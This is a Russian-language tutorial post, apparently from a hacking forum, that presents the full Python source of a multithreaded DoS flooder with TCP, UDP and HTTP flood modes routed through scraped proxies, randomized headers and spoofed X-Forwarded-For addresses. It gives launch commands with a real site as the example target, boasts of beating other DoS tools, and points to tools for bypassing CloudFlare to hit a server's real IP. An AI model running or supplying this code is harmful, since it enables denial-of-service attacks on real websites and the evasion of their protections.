s.send(str.encode(request)) # кодируем запрос в байты print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter try: # отправлять другие запросы в этом же потоке for y in range(multiple): # коэффициент умножения s.send(str.encode(request)) # кодируем запрос в байты except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится s.close() except: s.close() # если что-то пойдет не так, закрыть поток и начать заново
Теперь добавим проверку, как запущена программа:
if __name__ == '__main__': # Если программа запущена как самостоятельная, то запускаем эти функции checkURL() typeflood() loop()
Программа работает как на windows так и на linux. Для работы нужен python3 и установить библиотеки (pip install имя библиотеки
).
Получить справку: python main.py -h
Пример запуска: python main.py -useragent useragents.txt -proxylist proxy.txt -url codeby.net
Получить прокси: python main.py -useragent useragents.txt -getproxy 1
Давайте протестируем мощность конкурентов моей программы:
Начнем с xerxes
https://github.com/zanyarjamal/xerxes
Результат:
Как видим пиковая 30+ запросов, но далее запросы упали почти до 0.
Далее у нас идет wreckuests
JamesJGoodwin/wreckuests
Результат:
Пиковая 20+ запросов, далее запросы упали около 1-3.
Теперь протестируем созданный нами инструмент:
Это был HTTP метод. Пиковая 120+ (иногда выдает 200 и выше, у вас может быть больше, если хороший интернет!), также запросы до 0 не падают))))
UDP метод:
TCP метод:
Теперь подгоню пару ништяков. Все мы знаем что есть защиты от DoS-а или DDoS-а, например cloudflare.
Например сайт codeby.net имеет IP, но выдается нам IP cloudflare т.е он под защитой, но мы можем с помощью некоторых методов получить настоящий IP сервера и тогда наш DoS будет работать лучше)))
Обход cloudflare:
https://github.com/m0rtem/CloudFail https://github.com/HatBashBR/HatCloud Или через shodan ищем IP сервера
Исходник:
# -*- coding: utf-8 -*- import urllib.request import sys from scapy.all import * # Импортируем либы import socket import socks import argparse import threading import random import time __author__ = "Жмышенко Валерий Альбертович 54 года" sites = ["https://www.socks-proxy.net/","http://free-proxy-list.net/"] #Сайты откуда берем прокси useragents = [] ##Мощность DoS-а зависит от вашего интернет соеденения!!! multiple = 70 # Умножение, значение можно менять threads = 800 # Кол-во потоков, можно менять choice1 = 0 #Для настройки типа флуда choice2 = 0 #Для настройки типа флуда choice3 = 0 #Для настройки типа флуда port = 80 # Порт куда будут слаться запросы, можно менять ##### Добавляем в программу аргументы parser = argparse.ArgumentParser() parser.add_argument('-useragent', help = 'Путь до файла с user-агентами') parser.add_argument('-proxylist', help = 'Путь до файла с proxy') parser.add_argument('-url', help = 'Цель') parser.add_argument('-getproxy', help = 'Получить прокси? 1 - да | 0 - нет') args = parser.parse_args() useragents_file = args.useragent needproxy = args.getproxy url = args.url proxies_list = args.proxylist ###### Получение юзер агента с файла handle = open(useragents_file) for x in handle: useragents.append(x) useragents = map(lambda s: s.strip(), useragents) useragents = list(useragents) ###### def getPROXY(urlproxy): try: req = urllib.request.Request(("{0}").format(str(urlproxy))) req.add_header("User-Agent", random.choice(useragents)) sourcecode = urllib.request.urlopen(req) part = str(sourcecode.read()) part = part.split("<tbody>") part = part[1].split("</tbody>") part = part[0].split("<tr><td>") proxies = "" for proxy in part: proxy = proxy.split("</td><td>") #Получаем прокси с сайта путем разделения тегов try: proxies=proxies + proxy[0] + ":" + proxy[1] + "n" except: pass handle = open("proxy.txt","a") #Записуем полученные прокси в файл handle.write("") handle.write(proxies) handle.close() print ("Прокси скачаны успешно!") except: print ("Ошибка!") if needproxy == "1": # Нужно ли качать прокси? #### Получение проксей for x in sites: getPROXY(x) #### time.sleep(5) if proxies_list == "": # Если прокси не указана закрыть программу print("Укажи прокси!") exit() if useragents_file == "": # Если useragent-ы не указаны закрыть программу print("Укажи useragent-ов!") exit() try: proxies = open(proxies_list).readlines() # Читаем прокси except TypeError: print("Прокси с файла не считаны!") ##### def checkURL(): #Редактируем URL global url global url2 global urlport try: if url[0]+url[1]+url[2]+url[3] == "www.": url = "http://" + url elif url[0]+url[1]+url[2]+url[3] == "http": pass else: url = "http://" + url except: print("Ошибка!") exit() try: url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0] except: url2 = url.replace("http://", "").replace("https://", "").split("/")[0] try: urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1] except: urlport = "80" def typeflood(): # Определяем тип флуда global choice1 #Для сайтов самы сильный - HTTP global choice2 global choice3 select = input("UDP или TCP или HTTP? => ") if select == "TCP": choice1 = "1" # Изначально программа была в интерактивном режиме choice2 = "y" # Но я убрал его, оставив лишь выбор метода флуда choice3 = "0" # Поэтому переменные называются choice)) if select == "UDP": choice1 = "2" choice2 = "y" #Тестить мощь ваше DoS-а или DDoS-а можно здесь: https://www.vedbex.com/tools/dstat choice3 = "0" if select == "HTTP": choice1 = "0" choice2 = "y" choice3 = "0" def loop(): global threads global get_host global acceptall global connection global go global x if choice1 == "0": # прописуем заголовки, чтобы не нагружать потоки get_host = "GET " + url + " HTTP/1.1rnHost: " + url2 + "rn" acceptall = [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflatern", "Accept-Encoding: gzip, deflatern", "Accept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflatern", "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Charset: iso-8859-1rnAccept-Encoding: gziprn", "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5rnAccept-Charset: iso-8859-1rn", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rnAccept-Charset: utf-8, iso-8859-1;q=0.5rn", "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*rnAccept-Language: en-US,en;q=0.5rn", "Accept: text/html, application/xhtml+xml, image/jxr, */*rnAccept-Encoding: gziprnAccept-Charset: utf-8, iso-8859-1;q=0.5rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rn", "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1rnAccept-Encoding: gziprnAccept-Language: en-US,en;q=0.5rnAccept-Charset: utf-8, iso-8859-1;q=0.5rn," "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8rnAccept-Language: en-US,en;q=0.5rn", "Accept-Charset: utf-8, iso-8859-1;q=0.5rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rn", "Accept: text/html, application/xhtml+xml", "Accept-Language: en-US,en;q=0.5rn", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1rn", "Accept: text/plain;q=0.8,image/png,*/*;q=0.5rnAccept-Charset: iso-8859-1rn", ] # заголовок Accept передается случайным образом, чтобы запросы казались легимитными connection = "Connection: Keep-Alivern" # x = 0 # для счета go = threading.Event() if choice1 == "1": # Выбираем TCP флуд if choice2 == "y": if choice3 == "0": for x in range(threads): TcpFloodProxed(x+1).start() # запуск класса print ("Поток " + str(x) + " готов!") go.set() # Запуск потоков, как только они все будут готовы else: # Выбираем UDP флуд if choice1 == "2": if choice2 == "y": if choice3 == "0": for x in range(threads): UdpFloodProxed(x+1).start() # запуск класса print ("Поток " + str(x) + " готов!") go.set() # Запуск потоков, как только они все будут готовы else: # Выбираем HTTP флуд if choice2 == "y": if choice3 == "0": for x in range(threads): RequestProxyHTTP(x+1).start() # запуск класса print ("Поток " + str(x) + " готов!") go.set() # Запуск потоков, как только они все будут готовы class TcpFloodProxed(threading.Thread): # класс многопоточности def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной threading.Thread.__init__(self) self.counter = counter def run(self): # функция, которая дает инструкции для потоков data = random._urandom(1024) # рандомная дата для пакета p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # построение пакета tcp + data current = x # текущий поток if current < len(proxies): # если поток может связаться с прокси, этот прокси используется proxy = proxies[current].strip().split(':') else: # в противном случае выбирается другое прокси proxy = random.choice(proxies).strip().split(":") go.wait() # ожидание, пока все прокси будут готовы while True: try: socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования s = socks.socksocket() # создание сокета s.connect((str(url2),int(port))) # подключение s.send(p) # отправка print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter try: # отправлять другие запросы в этом же потоке for y in range(multiple): # коэффициент умножения s.send(str.encode(p)) # кодируем запрос в байты except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится s.close() except: s.close() # если что-то пойдет не так, закрыть поток и начать заного class UdpFloodProxed(threading.Thread): # класс многопоточности def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной threading.Thread.__init__(self) self.counter = counter def run(self): # функция, которая дает инструкции для потоков data = random._urandom(1024) # рандомная дата для пакета p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # построение пакета udp (классика) current = x # текущий поток if current < len(proxies): # если поток может связаться с прокси, этот прокси используется proxy = proxies[current].strip().split(':') else: # в противном случае выбирается другое прокси proxy = random.choice(proxies).strip().split(":") go.wait() # ожидание, пока все прокси будут готовы while True: try: socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования s = socks.socksocket() # создание сокета s.connect((str(url2),int(port))) # подключение s.send(p) # отправка print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter try: # отправлять другие запросы в этом же потоке for y in range(multiple): # коэффициент умножения s.send(str.encode(p)) # кодируем запрос в байты except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится s.close() except: s.close() # если что-то пойдет не так, закрыть поток и начать заного class RequestProxyHTTP(threading.Thread): # класс многопоточности def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной threading.Thread.__init__(self) self.counter = counter def run(self): # функция, которая дает инструкции для потоков useragent = "User-Agent: " + random.choice(useragents) + "rn" # выбор рандомного useragent-а accept = random.choice(acceptall) # выбор рандомного заголовка "Accept" randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) forward = "X-Forwarded-For: " + randomip + "rn" # X-Forwarded-For добавляем заголовок, который повысит нам анонимность request = get_host + useragent + accept + forward + connection + "rn" # создаем конечный запрос current = x # текущий поток if current < len(proxies): # если поток может связаться с прокси, этот прокси используется proxy = proxies[current].strip().split(':') else: # в противном случае выбирается другое прокси proxy = random.choice(proxies).strip().split(":") go.wait() # ожидание, пока все прокси будут готовы while True: # бесконечный цикл try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # создаем сокет s.connect((str(proxy[0]), int(proxy[1]))) # конектимся к прокси s.send(str.encode(request)) # кодируем запрос в байты print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter try: # отправлять другие запросы в этом же потоке for y in range(multiple): # коэффициент умножения s.send(str.encode(request)) # кодируем запрос в байты except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится s.close() except: s.close() # если что-то пойдет не так, закрыть поток и начать заного if __name__ == '__main__': # Если программа запущена как самостоятельная, то запускаем эти функции checkURL() typeflood() loop()
А на этом все. Спасибо всем кто дочитал до конца!) Источник